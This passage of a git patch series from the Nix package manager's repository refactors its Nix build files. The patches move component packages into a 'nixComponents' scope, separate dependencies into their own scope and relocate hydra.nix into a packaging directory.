-          nix-store = final.callPackage ./src/libstore/package.nix {
-            inherit
-              fileset
-              stdenv
-              officialRelease
-              versionSuffix
-              ;
-            libseccomp = final.libseccomp-nix;
-            busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
-          };
-
-          nix-fetchers = final.callPackage ./src/libfetchers/package.nix {
-            inherit
-              fileset
-              stdenv
-              officialRelease
-              versionSuffix
-              ;
-          };
-
-          nix =
-            final.callPackage ./package.nix {
-              inherit
-                fileset
-                stdenv
-                officialRelease
-                versionSuffix
-                ;
-              boehmgc = final.boehmgc-nix;
-              libgit2 = final.libgit2-nix;
-              libseccomp = final.libseccomp-nix;
-              busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
-            };
+          # A new scope, so that we can use `callPackage` to inject our own interdependencies
+          # without "polluting" the top level "`pkgs`" attrset.
+          # This also has the benefit of providing us with a distinct set of packages
+          # we can iterate over.
+          nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix {
+            pkgs = final;
+            inherit stdenv versionSuffix officialRelease;
+          });
 
-          nix-perl-bindings = final.callPackage ./src/perl/package.nix {
-            inherit
-              fileset
-              stdenv
-              versionSuffix
-              ;
-          };
+          nix = final.nixComponents.nix;
 
           nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
             inherit
@@ -340,7 +263,7 @@
           "static-" = nixpkgsFor.${system}.static;
         })
         (nixpkgsPrefix: nixpkgs: 
-          flatMapAttrs nixpkgs.nix-components
+          flatMapAttrs nixpkgs.nixComponents
             (pkgName: pkg:
               flatMapAttrs pkg.tests or {}
               (testName: test: {
diff --git a/packaging/components.nix b/packaging/components.nix
new file mode 100644
index 00000000000..af26e05ce18
--- /dev/null
+++ b/packaging/components.nix
@@ -0,0 +1,86 @@
+{pkgs, stdenv, officialRelease, versionSuffix}: scope:
+let
+  inherit (scope) callPackage;
+
+  # TODO: push fileset parameter into package.nix files as `lib` parameter
+  inherit (callPackage (args@{ lib }: args) {}) lib;
+  inherit (lib) fileset;
+in
+
+# This becomes the pkgs.nixComponents attribute set
+{
+  # TODO: build the nix CLI with meson
+  nix = pkgs.callPackage ../package.nix {
+    inherit
+      fileset
+      stdenv
+      officialRelease
+      versionSuffix
+      ;
+    boehmgc = pkgs.boehmgc-nix;
+    libgit2 = pkgs.libgit2-nix;
+    libseccomp = pkgs.libseccomp-nix;
+    busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
+  };
+
+  nix-util = callPackage ../src/libutil/package.nix {
+    inherit
+      fileset
+      stdenv
+      officialRelease
+      versionSuffix
+      ;
+  };
+
+  nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix {
+    inherit
+      fileset
+      stdenv
+      versionSuffix
+      ;
+  };
+
+  nix-util-test = callPackage ../tests/unit/libutil/package.nix {
+    inherit
+      fileset
+      stdenv
+      versionSuffix
+      ;
+  };
+
+  nix-util-c = callPackage ../src/libutil-c/package.nix {
+    inherit
+      fileset
+      stdenv
+      versionSuffix
+      ;
+  };
+
+  nix-store = callPackage ../src/libstore/package.nix {
+    inherit
+      fileset
+      stdenv
+      officialRelease
+      versionSuffix
+      ;
+    libseccomp = pkgs.libseccomp-nix;
+    busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
+  };
+
+  nix-fetchers = callPackage ../src/libfetchers/package.nix {
+    inherit
+      fileset
+      stdenv
+      officialRelease
+      versionSuffix
+      ;
+  };
+
+  nix-perl-bindings = callPackage ../src/perl/package.nix {
+    inherit
+      fileset
+      stdenv
+      versionSuffix
+      ;
+  };
+}

From d40c59ed194b715bffdcd40f4b654ebc60cf5be3 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 02:44:21 +0200
Subject: [PATCH 421/528] flake.nix: Use the nixComponents scope instead of
 bare pkgs packages

... which aren't around anymore.
---
 flake.nix             | 24 ++++++++++++------------
 maintainers/hydra.nix | 11 +++++++----
 2 files changed, 19 insertions(+), 16 deletions(-)

diff --git a/flake.nix b/flake.nix
index 30a8e435486..a66603cc8f9 100644
--- a/flake.nix
+++ b/flake.nix
@@ -296,16 +296,16 @@
           }
           (pkgName: {}: {
               # These attributes go right into `packages.<system>`.
-              "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
-              "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};
+              "${pkgName}" = nixpkgsFor.${system}.native.nixComponents.${pkgName};
+              "${pkgName}-static" = nixpkgsFor.${system}.static.nixComponents.${pkgName};
             }
             // flatMapAttrs (lib.genAttrs crossSystems (_: { })) (crossSystem: {}: {
               # These attributes go right into `packages.<system>`.
-              "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName};
+              "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName};
             })
             // flatMapAttrs (lib.genAttrs stdenvs (_: { })) (stdenvName: {}: {
               # These attributes go right into `packages.<system>`.
-              "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName};
+              "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".nixComponents.${pkgName};
             })
           )
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
@@ -367,17 +367,17 @@
           };
 
           mesonFlags =
-            map (transformFlag "libutil") pkgs.nix-util.mesonFlags
-            ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags
-            ++ map (transformFlag "libfetchers") pkgs.nix-fetchers.mesonFlags
-            ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags)
+            map (transformFlag "libutil") pkgs.nixComponents.nix-util.mesonFlags
+            ++ map (transformFlag "libstore") pkgs.nixComponents.nix-store.mesonFlags
+            ++ map (transformFlag "libfetchers") pkgs.nixComponents.nix-fetchers.mesonFlags
+            ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nixComponents.nix-perl-bindings.mesonFlags)
             ;
 
           nativeBuildInputs = attrs.nativeBuildInputs or []
-            ++ pkgs.nix-util.nativeBuildInputs
-            ++ pkgs.nix-store.nativeBuildInputs
-            ++ pkgs.nix-fetchers.nativeBuildInputs
-            ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs
+            ++ pkgs.nixComponents.nix-util.nativeBuildInputs
+            ++ pkgs.nixComponents.nix-store.nativeBuildInputs
+            ++ pkgs.nixComponents.nix-fetchers.nativeBuildInputs
+            ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs
             ++ pkgs.nix-internal-api-docs.nativeBuildInputs
             ++ pkgs.nix-external-api-docs.nativeBuildInputs
             ++ [
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 9e6f2c4686b..b03cbdfa0e5 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -33,6 +33,9 @@ let
       doBuild = false;
     };
 
+  # Technically we could just return `pkgs.nixComponents`, but for Hydra it's
+  # convention to transpose it, and to transpose it efficiently, we need to
+  # enumerate them manually, so that we don't evaluate unnecessary package sets.
   forAllPackages = lib.genAttrs [
     "nix"
     "nix-util"
@@ -46,16 +49,16 @@ in
 {
   # Binary package for various platforms.
   build = forAllPackages (pkgName:
-    forAllSystems (system: nixpkgsFor.${system}.native.${pkgName}));
+    forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.${pkgName}));
 
   shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
 
   buildStatic = forAllPackages (pkgName:
-    lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.${pkgName}));
+    lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.nixComponents.${pkgName}));
 
   buildCross = forAllPackages (pkgName:
     forAllCrossSystems (crossSystem:
-      lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.${pkgName})));
+      lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName})));
 
   buildNoGc = forAllSystems (system:
     self.packages.${system}.nix.override { enableGC = false; }
@@ -73,7 +76,7 @@ in
   );
 
   # Perl bindings for various platforms.
-  perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix-perl-bindings);
+  perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.nix-perl-bindings);
 
   # Binary tarball for various platforms, containing a Nix store
   # with the closure of 'nix' package, and the second half of

From 85de5a60c77c256d5e57943becb683f50f9d7537 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 03:18:01 +0200
Subject: [PATCH 422/528] Use lib instead of explicit fileset passing

---
 flake.nix                              |  2 --
 maintainers/hydra.nix                  |  3 ---
 package.nix                            |  6 ++----
 packaging/components.nix               | 16 ----------------
 src/external-api-docs/package.nix      |  6 ++++--
 src/internal-api-docs/package.nix      |  6 ++++--
 src/libfetchers/package.nix            |  6 ++----
 src/libstore/package.nix               |  5 ++---
 src/libutil-c/package.nix              |  3 ++-
 src/libutil/package.nix                |  4 ++--
 src/perl/package.nix                   |  5 ++++-
 tests/unit/libutil-support/package.nix |  3 ++-
 tests/unit/libutil/package.nix         |  3 ++-
 13 files changed, 26 insertions(+), 42 deletions(-)

diff --git a/flake.nix b/flake.nix
index a66603cc8f9..7fc491035cb 100644
--- a/flake.nix
+++ b/flake.nix
@@ -185,7 +185,6 @@
 
           nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
             inherit
-              fileset
               stdenv
               versionSuffix
               ;
@@ -193,7 +192,6 @@
 
           nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix {
             inherit
-              fileset
               stdenv
               versionSuffix
               ;
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index b03cbdfa0e5..98d8b39619d 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -9,7 +9,6 @@
 }:
 let
   inherit (inputs) nixpkgs nixpkgs-regression;
-  inherit (lib) fileset;
 
   installScriptFor = tarballs:
     nixpkgsFor.x86_64-linux.native.callPackage ../scripts/installer.nix {
@@ -25,8 +24,6 @@ let
            lib.versionAtLeast client.version "2.4pre20211005")
           "-${client.version}-against-${daemon.version}";
 
-      inherit fileset;
-
       test-client = client;
       test-daemon = daemon;
 
diff --git a/package.nix b/package.nix
index f414b9a7351..9a6fc272a49 100644
--- a/package.nix
+++ b/package.nix
@@ -1,12 +1,10 @@
 { lib
-, fetchurl
 , stdenv
 , releaseTools
 , autoconf-archive
 , autoreconfHook
 , aws-sdk-cpp
 , boehmgc
-, buildPackages
 , nlohmann_json
 , bison
 , boost
@@ -15,7 +13,6 @@
 , curl
 , editline
 , readline
-, fileset
 , flex
 , git
 , gtest
@@ -50,7 +47,6 @@
 , pname ? "nix"
 
 , versionSuffix ? ""
-, officialRelease ? false
 
 # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix
 , doBuild ? true
@@ -113,6 +109,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   # selected attributes with defaults, will be used to define some
diff --git a/packaging/components.nix b/packaging/components.nix
index af26e05ce18..d3809ff38f5 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -1,10 +1,6 @@
 {pkgs, stdenv, officialRelease, versionSuffix}: scope:
 let
   inherit (scope) callPackage;
-
-  # TODO: push fileset parameter into package.nix files as `lib` parameter
-  inherit (callPackage (args@{ lib }: args) {}) lib;
-  inherit (lib) fileset;
 in
 
 # This becomes the pkgs.nixComponents attribute set
@@ -12,9 +8,7 @@ in
   # TODO: build the nix CLI with meson
   nix = pkgs.callPackage ../package.nix {
     inherit
-      fileset
       stdenv
-      officialRelease
       versionSuffix
       ;
     boehmgc = pkgs.boehmgc-nix;
@@ -25,16 +19,13 @@ in
 
   nix-util = callPackage ../src/libutil/package.nix {
     inherit
-      fileset
       stdenv
-      officialRelease
       versionSuffix
       ;
   };
 
   nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix {
     inherit
-      fileset
       stdenv
       versionSuffix
       ;
@@ -42,7 +33,6 @@ in
 
   nix-util-test = callPackage ../tests/unit/libutil/package.nix {
     inherit
-      fileset
       stdenv
       versionSuffix
       ;
@@ -50,7 +40,6 @@ in
 
   nix-util-c = callPackage ../src/libutil-c/package.nix {
     inherit
-      fileset
       stdenv
       versionSuffix
       ;
@@ -58,9 +47,7 @@ in
 
   nix-store = callPackage ../src/libstore/package.nix {
     inherit
-      fileset
       stdenv
-      officialRelease
       versionSuffix
       ;
     libseccomp = pkgs.libseccomp-nix;
@@ -69,16 +56,13 @@ in
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix {
     inherit
-      fileset
       stdenv
-      officialRelease
       versionSuffix
       ;
   };
 
   nix-perl-bindings = callPackage ../src/perl/package.nix {
     inherit
-      fileset
       stdenv
       versionSuffix
       ;
diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix
index aa5cd49ebaf..352698360c5 100644
--- a/src/external-api-docs/package.nix
+++ b/src/external-api-docs/package.nix
@@ -1,7 +1,5 @@
 { lib
 , stdenv
-, releaseTools
-, fileset
 
 , meson
 , ninja
@@ -12,6 +10,10 @@
 , versionSuffix ? ""
 }:
 
+let
+  inherit (lib) fileset;
+in
+
 stdenv.mkDerivation (finalAttrs: {
   pname = "nix-external-api-docs";
   version = lib.fileContents ./.version + versionSuffix;
diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix
index b5f1b0da1cf..fa54d55f3a7 100644
--- a/src/internal-api-docs/package.nix
+++ b/src/internal-api-docs/package.nix
@@ -1,7 +1,5 @@
 { lib
 , stdenv
-, releaseTools
-, fileset
 
 , meson
 , ninja
@@ -12,6 +10,10 @@
 , versionSuffix ? ""
 }:
 
+let
+  inherit (lib) fileset;
+in
+
 stdenv.mkDerivation (finalAttrs: {
   pname = "nix-internal-api-docs";
   version = lib.fileContents ./.version + versionSuffix;
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index 80025603082..a5583d14cd2 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -16,17 +15,16 @@
 # Configuration Options
 
 , versionSuffix ? ""
-, officialRelease ? false
 
 # Check test coverage of Nix. Probably want to use with with at least
 # one of `doCheck` or `doInstallCheck` enabled.
 , withCoverageChecks ? false
 
-# Avoid setting things that would interfere with a functioning devShell
-, forDevShell ? false
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index e54dfe597e0..e118f3cd21f 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -13,7 +12,6 @@
 , aws-sdk-cpp
 , libseccomp
 , nlohmann_json
-, man
 , sqlite
 
 , busybox-sandbox-shell ? null
@@ -21,7 +19,6 @@
 # Configuration Options
 
 , versionSuffix ? ""
-, officialRelease ? false
 
 # Check test coverage of Nix. Probably want to use with at least
 # one of `doCheck` or `doInstallCheck` enabled.
@@ -32,6 +29,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
index a45b36d4c9d..05a26c17e6c 100644
--- a/src/libutil-c/package.nix
+++ b/src/libutil-c/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -19,6 +18,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index b36e3879c21..892951cdf4e 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -18,7 +17,6 @@
 # Configuration Options
 
 , versionSuffix ? ""
-, officialRelease ? false
 
 # Check test coverage of Nix. Probably want to use with at least
 # one of `doCheck` or `doInstallCheck` enabled.
@@ -26,6 +24,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =
diff --git a/src/perl/package.nix b/src/perl/package.nix
index a31b1b66cf5..85f1547b7cf 100644
--- a/src/perl/package.nix
+++ b/src/perl/package.nix
@@ -1,5 +1,4 @@
 { lib
-, fileset
 , stdenv
 , perl
 , perlPackages
@@ -16,6 +15,10 @@
 , versionSuffix ? ""
 }:
 
+let
+  inherit (lib) fileset;
+in
+
 perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
   pname = "nix-perl";
   version = lib.fileContents ./.version + versionSuffix;
diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix
index caa37b74871..0be0a9945be 100644
--- a/tests/unit/libutil-support/package.nix
+++ b/tests/unit/libutil-support/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -21,6 +20,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =
diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix
index 7a09e4aa5a7..391f8d85326 100644
--- a/tests/unit/libutil/package.nix
+++ b/tests/unit/libutil/package.nix
@@ -1,7 +1,6 @@
 { lib
 , stdenv
 , releaseTools
-, fileset
 
 , meson
 , ninja
@@ -25,6 +24,8 @@
 }:
 
 let
+  inherit (lib) fileset;
+
   version = lib.fileContents ./.version + versionSuffix;
 
   mkDerivation =

From 74b9b77c9f05099c2bb207890d0728455a85efa7 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 03:33:30 +0200
Subject: [PATCH 423/528] components.nix: Simplify with scope

---
 flake.nix                |  2 +-
 packaging/components.nix | 71 +++++++++-------------------------------
 2 files changed, 16 insertions(+), 57 deletions(-)

diff --git a/flake.nix b/flake.nix
index 7fc491035cb..ed330b669a8 100644
--- a/flake.nix
+++ b/flake.nix
@@ -178,7 +178,7 @@
           # we can iterate over.
           nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix {
             pkgs = final;
-            inherit stdenv versionSuffix officialRelease;
+            inherit stdenv versionSuffix;
           });
 
           nix = final.nixComponents.nix;
diff --git a/packaging/components.nix b/packaging/components.nix
index d3809ff38f5..7cef0e356c7 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -1,70 +1,29 @@
-{pkgs, stdenv, officialRelease, versionSuffix}: scope:
+{pkgs, stdenv, versionSuffix}: scope:
 let
   inherit (scope) callPackage;
 in
 
 # This becomes the pkgs.nixComponents attribute set
 {
-  # TODO: build the nix CLI with meson
-  nix = pkgs.callPackage ../package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-    boehmgc = pkgs.boehmgc-nix;
-    libgit2 = pkgs.libgit2-nix;
-    libseccomp = pkgs.libseccomp-nix;
-    busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
-  };
+  inherit stdenv versionSuffix;
+  libseccomp = pkgs.libseccomp-nix;
+  boehmgc = pkgs.boehmgc-nix;
+  libgit2 = pkgs.libgit2-nix;
+  busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
 
-  nix-util = callPackage ../src/libutil/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix = callPackage ../package.nix { };
 
-  nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix-util = callPackage ../src/libutil/package.nix { };
 
-  nix-util-test = callPackage ../tests/unit/libutil/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { };
 
-  nix-util-c = callPackage ../src/libutil-c/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix-util-test = callPackage ../tests/unit/libutil/package.nix { };
 
-  nix-store = callPackage ../src/libstore/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-    libseccomp = pkgs.libseccomp-nix;
-    busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
-  };
+  nix-util-c = callPackage ../src/libutil-c/package.nix { };
 
-  nix-fetchers = callPackage ../src/libfetchers/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix-store = callPackage ../src/libstore/package.nix { };
 
-  nix-perl-bindings = callPackage ../src/perl/package.nix {
-    inherit
-      stdenv
-      versionSuffix
-      ;
-  };
+  nix-fetchers = callPackage ../src/libfetchers/package.nix { };
+
+  nix-perl-bindings = callPackage ../src/perl/package.nix { };
 }

From ebf77c79ae1cd1516117311c6315bd8c56b8b837 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 03:36:03 +0200
Subject: [PATCH 424/528] flake.nix: Use Nixpkgs convention for package
 variants

---
 flake.nix                | 6 +++---
 packaging/components.nix | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/flake.nix b/flake.nix
index ed330b669a8..d49bccda877 100644
--- a/flake.nix
+++ b/flake.nix
@@ -153,18 +153,18 @@
             '';
           };
 
-          libgit2-nix = final.libgit2.overrideAttrs (attrs: {
+          libgit2_nix = final.libgit2.overrideAttrs (attrs: {
             src = libgit2;
             version = libgit2.lastModifiedDate;
             cmakeFlags = attrs.cmakeFlags or []
               ++ [ "-DUSE_SSH=exec" ];
           });
 
-          boehmgc-nix = final.boehmgc.override {
+          boehmgc_nix = final.boehmgc.override {
             enableLargeConfig = true;
           };
 
-          libseccomp-nix = final.libseccomp.overrideAttrs (_: rec {
+          libseccomp_nix = final.libseccomp.overrideAttrs (_: rec {
             version = "2.5.5";
             src = final.fetchurl {
               url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
diff --git a/packaging/components.nix b/packaging/components.nix
index 7cef0e356c7..2d06cfec4ab 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -6,9 +6,9 @@ in
 # This becomes the pkgs.nixComponents attribute set
 {
   inherit stdenv versionSuffix;
-  libseccomp = pkgs.libseccomp-nix;
-  boehmgc = pkgs.boehmgc-nix;
-  libgit2 = pkgs.libgit2-nix;
+  libseccomp = pkgs.libseccomp_nix;
+  boehmgc = pkgs.boehmgc_nix;
+  libgit2 = pkgs.libgit2_nix;
   busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
 
   nix = callPackage ../package.nix { };

From 25dc12aab139b4bd3438c764a1d479ae8517a81a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 03:58:47 +0200
Subject: [PATCH 425/528] components.nix: Extract dependency scope

This avoids polluting nixComponents with things that aren't our
components.
Fixes the extraction of passthru tests, which failed for boehmgc
which had many irrelevant ones anyway.
---
 flake.nix                | 12 +++++++++++-
 packaging/components.nix |  6 ------
 2 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/flake.nix b/flake.nix
index d49bccda877..870b8295022 100644
--- a/flake.nix
+++ b/flake.nix
@@ -176,11 +176,21 @@
           # without "polluting" the top level "`pkgs`" attrset.
           # This also has the benefit of providing us with a distinct set of packages
           # we can iterate over.
-          nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix {
+          nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix {
             pkgs = final;
             inherit stdenv versionSuffix;
           });
 
+          # The dependencies are in their own scope, so that they don't have to be
+          # in Nixpkgs top level `pkgs` or `nixComponents`.
+          nixDependencies = lib.makeScope final.newScope (scope: {
+            inherit stdenv versionSuffix;
+            libseccomp = final.libseccomp_nix;
+            boehmgc = final.boehmgc_nix;
+            libgit2 = final.libgit2_nix;
+            busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
+          });
+
           nix = final.nixComponents.nix;
 
           nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix {
diff --git a/packaging/components.nix b/packaging/components.nix
index 2d06cfec4ab..e1e73d4c0d9 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -5,12 +5,6 @@ in
 
 # This becomes the pkgs.nixComponents attribute set
 {
-  inherit stdenv versionSuffix;
-  libseccomp = pkgs.libseccomp_nix;
-  boehmgc = pkgs.boehmgc_nix;
-  libgit2 = pkgs.libgit2_nix;
-  busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell;
-
   nix = callPackage ../package.nix { };
 
   nix-util = callPackage ../src/libutil/package.nix { };

From c24dbf14571cd59ef4e7b2a3470c61760a6a6aa4 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 04:17:30 +0200
Subject: [PATCH 426/528] components.nix: Simplify

---
 flake.nix                | 5 +----
 packaging/components.nix | 2 +-
 2 files changed, 2 insertions(+), 5 deletions(-)

diff --git a/flake.nix b/flake.nix
index 870b8295022..90a48a38212 100644
--- a/flake.nix
+++ b/flake.nix
@@ -176,10 +176,7 @@
           # without "polluting" the top level "`pkgs`" attrset.
           # This also has the benefit of providing us with a distinct set of packages
           # we can iterate over.
-          nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix {
-            pkgs = final;
-            inherit stdenv versionSuffix;
-          });
+          nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix);
 
           # The dependencies are in their own scope, so that they don't have to be
           # in Nixpkgs top level `pkgs` or `nixComponents`.
diff --git a/packaging/components.nix b/packaging/components.nix
index e1e73d4c0d9..f96ac6b5187 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -1,4 +1,4 @@
-{pkgs, stdenv, versionSuffix}: scope:
+scope:
 let
   inherit (scope) callPackage;
 in

From 65802da98db906e61a810e686e140536d3ab4e54 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 04:24:50 +0200
Subject: [PATCH 427/528] Move maintainers/hydra.nix -> packaging/hydra.nix

---
 flake.nix                            | 2 +-
 {maintainers => packaging}/hydra.nix | 0
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename {maintainers => packaging}/hydra.nix (100%)

diff --git a/flake.nix b/flake.nix
index 90a48a38212..510df73f169 100644
--- a/flake.nix
+++ b/flake.nix
@@ -224,7 +224,7 @@
       # 'nix-perl-bindings' packages.
       overlays.default = overlayFor (p: p.stdenv);
 
-      hydraJobs = import ./maintainers/hydra.nix {
+      hydraJobs = import ./packaging/hydra.nix {
         inherit
           inputs
           binaryTarball
diff --git a/maintainers/hydra.nix b/packaging/hydra.nix
similarity index 100%
rename from maintainers/hydra.nix
rename to packaging/hydra.nix

From 409eded5415f00c2cc7ef6e124a51c1bb0290df1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 26 Jun 2024 10:41:56 +0200
Subject: [PATCH 428/528] flake.nix: Move dependencies scope to
 packaging/dependencies.nix

---
 flake.nix                  | 52 ++--------------------------------
 packaging/dependencies.nix | 58 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 61 insertions(+), 49 deletions(-)
 create mode 100644 packaging/dependencies.nix

diff --git a/flake.nix b/flake.nix
index 510df73f169..8b4deb78a58 100644
--- a/flake.nix
+++ b/flake.nix
@@ -129,49 +129,6 @@
         {
           nixStable = prev.nix;
 
-          default-busybox-sandbox-shell = final.busybox.override {
-            useMusl = true;
-            enableStatic = true;
-            enableMinimal = true;
-            extraConfig = ''
-              CONFIG_FEATURE_FANCY_ECHO y
-              CONFIG_FEATURE_SH_MATH y
-              CONFIG_FEATURE_SH_MATH_64 y
-
-              CONFIG_ASH y
-              CONFIG_ASH_OPTIMIZE_FOR_SIZE y
-
-              CONFIG_ASH_ALIAS y
-              CONFIG_ASH_BASH_COMPAT y
-              CONFIG_ASH_CMDCMD y
-              CONFIG_ASH_ECHO y
-              CONFIG_ASH_GETOPTS y
-              CONFIG_ASH_INTERNAL_GLOB y
-              CONFIG_ASH_JOB_CONTROL y
-              CONFIG_ASH_PRINTF y
-              CONFIG_ASH_TEST y
-            '';
-          };
-
-          libgit2_nix = final.libgit2.overrideAttrs (attrs: {
-            src = libgit2;
-            version = libgit2.lastModifiedDate;
-            cmakeFlags = attrs.cmakeFlags or []
-              ++ [ "-DUSE_SSH=exec" ];
-          });
-
-          boehmgc_nix = final.boehmgc.override {
-            enableLargeConfig = true;
-          };
-
-          libseccomp_nix = final.libseccomp.overrideAttrs (_: rec {
-            version = "2.5.5";
-            src = final.fetchurl {
-              url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
-              hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
-            };
-          });
-
           # A new scope, so that we can use `callPackage` to inject our own interdependencies
           # without "polluting" the top level "`pkgs`" attrset.
